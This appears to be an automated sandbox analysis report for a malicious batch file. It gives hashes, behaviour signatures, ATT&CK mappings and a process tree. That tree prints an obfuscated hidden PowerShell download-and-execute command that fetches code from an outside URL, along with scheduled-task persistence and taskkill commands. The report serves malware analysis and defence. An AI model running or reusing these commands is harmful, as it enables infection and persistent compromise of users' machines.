dec300bc7f59fa5250a44f3300797ec2b2e72006be9a63f567477e95b776f9dc

Analysis

max time kernel
151s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
11-10-2022 21:41

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General

Target

OutPut2.bat
Size

21KB
MD5

c32b1f1bb8eda7a1e148c1cdf014f23b
SHA1

af0cc28285fc57632751f970ba3040bb1af2faa0
SHA256

8a0dc53293a9c974b1884f315f724024713523a6cc95e5bb4abee5fdaf79a9b6
SHA512

f7d04d94d7dbabcf7aff4493745660efd65321c2d3e1c2a5c2fea4d02ecbcf90d77e322ef13d257ae263aadbd4cab6a4f237b349b8be0e3e30e3e31f6732980e
SSDEEP

96:VMzFOMzFJMzFLMzFeMzFzMzFJMzFTMzFiMzFJMzFLMzFUHQeMzFLMzF2MzFqMzFN:OVqYFQqwxqYgQFYNpdiohUPOzfXwQ9j

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1448	powershell.exe
6	1448	powershell.exe
8	1448	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1628	schtasks.exe
1220	schtasks.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
2024	taskkill.exe
456	taskkill.exe
1684	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1448	powershell.exe
1448	powershell.exe
1448	powershell.exe
1604	powershell.exe
1676	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	456	taskkill.exe
Token: SeDebugPrivilege	1684	taskkill.exe
Token: SeDebugPrivilege	2024	taskkill.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 1744	2028	cmd.exe	29
PID 2028 wrote to memory of 1744	2028	cmd.exe	29
PID 2028 wrote to memory of 1744	2028	cmd.exe	29
PID 1744 wrote to memory of 1448	1744	cmd.exe	30
PID 1744 wrote to memory of 1448	1744	cmd.exe	30
PID 1744 wrote to memory of 1448	1744	cmd.exe	30
PID 1448 wrote to memory of 320	1448	powershell.exe	31
PID 1448 wrote to memory of 320	1448	powershell.exe	31
PID 1448 wrote to memory of 320	1448	powershell.exe	31
PID 320 wrote to memory of 1980	320	WScript.exe	32
PID 320 wrote to memory of 1980	320	WScript.exe	32
PID 320 wrote to memory of 1980	320	WScript.exe	32
PID 1980 wrote to memory of 1628	1980	cmd.exe	34
PID 1980 wrote to memory of 1628	1980	cmd.exe	34
PID 1980 wrote to memory of 1628	1980	cmd.exe	34
PID 1980 wrote to memory of 1220	1980	cmd.exe	35
PID 1980 wrote to memory of 1220	1980	cmd.exe	35
PID 1980 wrote to memory of 1220	1980	cmd.exe	35
PID 1980 wrote to memory of 456	1980	cmd.exe	36
PID 1980 wrote to memory of 456	1980	cmd.exe	36
PID 1980 wrote to memory of 456	1980	cmd.exe	36
PID 1980 wrote to memory of 1684	1980	cmd.exe	38
PID 1980 wrote to memory of 1684	1980	cmd.exe	38
PID 1980 wrote to memory of 1684	1980	cmd.exe	38
PID 1980 wrote to memory of 2024	1980	cmd.exe	39
PID 1980 wrote to memory of 2024	1980	cmd.exe	39
PID 1980 wrote to memory of 2024	1980	cmd.exe	39
PID 780 wrote to memory of 1920	780	taskeng.exe	41
PID 780 wrote to memory of 1920	780	taskeng.exe	41
PID 780 wrote to memory of 1920	780	taskeng.exe	41
PID 1920 wrote to memory of 940	1920	WScript.exe	42
PID 1920 wrote to memory of 940	1920	WScript.exe	42
PID 1920 wrote to memory of 940	1920	WScript.exe	42
PID 780 wrote to memory of 1444	780	taskeng.exe	45
PID 780 wrote to memory of 1444	780	taskeng.exe	45
PID 780 wrote to memory of 1444	780	taskeng.exe	45
PID 1444 wrote to memory of 1448	1444	WScript.exe	46
PID 1444 wrote to memory of 1448	1444	WScript.exe	46
PID 1444 wrote to memory of 1448	1444	WScript.exe	46
PID 1448 wrote to memory of 1676	1448	cmd.exe	48
PID 1448 wrote to memory of 1676	1448	cmd.exe	48
PID 1448 wrote to memory of 1676	1448	cmd.exe	48

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\OutPut2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\system32\cmd.exe
  CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81='IEX(NEW-OBJECT NET.W';$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450='EBCLIENT).DOWNLO';[BYTE[]];$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E='E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9(''https://pbc.kz/wp-admin/bb.jpg'')'.REPLACE('E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9','ADSTRING');[BYTE[]];IEX($8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81+$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450+$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81='IEX(NEW-OBJECT NET.W';$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450='EBCLIENT).DOWNLO';[BYTE[]];$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E='E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9(''https://pbc.kz/wp-admin/bb.jpg'')'.REPLACE('E01A3094C19277D49A6167D38BD16509408894085F963292E52959632654300649B8544BADBC2231987D9E0EB312E3E48EDE884708209E3843D0367D196268933D92623028FF5219F0CACD1372544251A248A5B35A2FA48806557553780AEC30BCD972F9','ADSTRING');[BYTE[]];IEX($8525E0FA70EEBAD1324BD331F92908DB43F4249A64E92444DD63FFB4AC9D79089FD1857C1207D14451056FF87436E6431B1BDAE2D5EB382B35171D284CC0DE3BDE282CE8667D74774D7CCCBE132B3968475695626E186D45FB2B7DE09626E90C92966E81+$6B520D490034728F7709E44F116D159A193300F11DFA9F40EA893256FBF7B8886072CD09D5DCE1EC12CA09EDE71F6DDE384A29B313E4EC1F117CC69B6783D14069D437329F1D3F670DAFC9A76335D8E8B7010C1164601FF8CDD713003C4D245B39DBD450+$4BF5260129FD327A8CDD2D9584D51B906D8066007252A3DD3B9A592E686CDF38D807A1305E7148C9BCF7E790A099A6272C6E2ACBA6A24333D289B67E1804C21249292A9C2A8703E87F3849D2033262DE904B3736A214EE10D056E178DFDC34D39279C45E)
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\App\xx.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:320
    - - C:\Windows\System32\cmd.exe
        
        cmd /c ""C:\ProgramData\App\xx.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1980
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn App /sc minute /mo 5 /tr "C:\ProgramData\App\cAppc.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:1628
      - C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /tn det /sc minute /mo 1 /tr "C:\ProgramData\App\cAppc.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:1220
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM schtasks.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:456
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM powershell.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1684
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM cmd.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2024

C:\Windows\system32\taskeng.exe
taskeng.exe {4960EA12-69D3-4B98-B5D4-F5B8F661988D} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\ProgramData\App\cAppc.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\System32\cmd.exe
    cmd /c ""C:\ProgramData\App\cAppc.bat" "
    3⤵
    PID:940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\App\App.PS1
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1604
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\ProgramData\App\cAppc.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\System32\cmd.exe
    cmd /c ""C:\ProgramData\App\cAppc.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\App\App.PS1
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\App\App.PS1

Filesize
264KB

MD5
b385ec653fef60833ca284dcfff71bff

SHA1
612981ecf896a7ef09496894d8059f6a9570cf2a

SHA256
76a4b8b505e22defbbd1ba2b577bafe4c4311d2d329f3d29cf3e804a7dd191e8

SHA512
00f9155acd9aa8fb82c051fb4a27ee5e5b35229f69e0a20525dbcd85c2bf74025b7cc5608e1680683c4959ebfb4ad90811e006bed63e66acd6f1755005c9ba81

Download Submit
C:\ProgramData\App\cAppc.bat

Filesize
81B

MD5
6d2d36c3cc7bea993801e5febf7db1c8

SHA1
962ca57c247334f79d40e55aa30612c5dfe96c12

SHA256
83c47147832482038f4ac9867d5b16ccb78640d9b39d0860805b25db86609a68

SHA512
751d5f167617c427697343895988e5b036eff7ee8c358ba35d764378a928b813ee798b5c2e0f67a8dac4622fd5c61708ab0823f9f1498e7d07db4bfe9f466c5d

Download Submit
C:\ProgramData\App\cAppc.vbs

Filesize
5KB

MD5
5392a92ca835d8812a79a1ee6dac0892

SHA1
cb56f654f054542c538f492c4d437d65e4f9bba7

SHA256
4ab24fc3a3b34b6b7b57d5fbffba6831ed4c7a9c5c31bfd97aeb603d6bd5f2c5

SHA512
02175ebd71040d878818dadb2dda855ddc9a43b1dcd625c1943bedc09b3cba48e4debd7b2401025bc992c0ca38dc96e3f2746fe1518808290c2b07132470829d

Download Submit
C:\ProgramData\App\xx.bat

Filesize
260B

MD5
15b09a88be68cc160232d8766f7e3be7

SHA1
b3468aaafd099c639405574b719a201b8df00b02

SHA256
d7128567b26c84039b6fd667ab0d1a443dbbdf15e0550a26e015cbab95979ae2

SHA512
0cd81076a2242363bd692b12287ac31e35332b272bd1ded78d9dbd55cee3c8947cce3f45cc4b24bb6c303032d2dfb6efe87edff49fa242b4013e56eaa1cd0460

Download Submit
C:\ProgramData\App\xx.vbs

Filesize
4KB

MD5
1de9b452f5231a8281209d61a101bcb5

SHA1
27ea6c5470a58226b7a1ab8986d3d0bec87ae3eb

SHA256
0920a4adad558df5820ab49ab8566d9dbea771da520a754c2652fa5548852f64

SHA512
e22f70de118f0b6b53e1277ee1c07f30e9d7356db36d858025725b1b0ee2cd677ac926fcb5587243fb342ef7fcff498a68eb6d8ebef3497b5c450468f0d7c4ec

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
adca19c2d935622e6a96998c8103fc4b

SHA1
e50d9fb1bd709ce58d87278bd3887e2cadbb73c6

SHA256
f18bcce62919fb49d9720b6ceede99449757e0adef5e9d3f18e58631cf23c166

SHA512
3567d9a82a068252c2cd92d965fb092b638c72abdeaa80021a72e173eca4789417113780f4fcf0b44f9f676b243e0d6042db0acb576c387bcdaf32386a021c0d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
922e2142ca596c3b35efebf1082ac830

SHA1
2a9fe1438e01736d37d5036b85c4a99224e32c71

SHA256
8ec919e95012c559abc44bf12490292e0cddeacaca25488f451eb6e76368c469

SHA512
972313ea3ab6b2f4252b5f9220cd6d6c473d49e75e45120b2a72fe8668d5152ef4638e786f307f945630727d129a036e5fe267aa9b0f3c5d0f5071c9bb7c4fd0

Download Submit
memory/1448-61-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/1448-59-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1448-62-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1448-60-0x000000001B7D0000-0x000000001BACF000-memory.dmp

Filesize
3.0MB

Download
memory/1448-57-0x000007FEF35B0000-0x000007FEF3FD3000-memory.dmp

Filesize
10.1MB

Download
memory/1448-66-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/1448-56-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download
memory/1448-58-0x000007FEF2A50000-0x000007FEF35AD000-memory.dmp

Filesize
11.4MB

Download
memory/1448-63-0x000000000287B000-0x000000000289A000-memory.dmp

Filesize
124KB

Download
memory/1604-85-0x000007FEF33F0000-0x000007FEF3F4D000-memory.dmp

Filesize
11.4MB

Download
memory/1604-89-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/1604-84-0x000007FEF3F50000-0x000007FEF4973000-memory.dmp

Filesize
10.1MB

Download
memory/1604-86-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/1604-87-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

Download
memory/1604-90-0x000000000261B000-0x000000000263A000-memory.dmp

Filesize
124KB

Download
memory/1676-97-0x000007FEF35B0000-0x000007FEF3FD3000-memory.dmp

Filesize
10.1MB

Download
memory/1676-98-0x000007FEF2A50000-0x000007FEF35AD000-memory.dmp

Filesize
11.4MB

Download
memory/1676-99-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1676-100-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1676-101-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1676-102-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download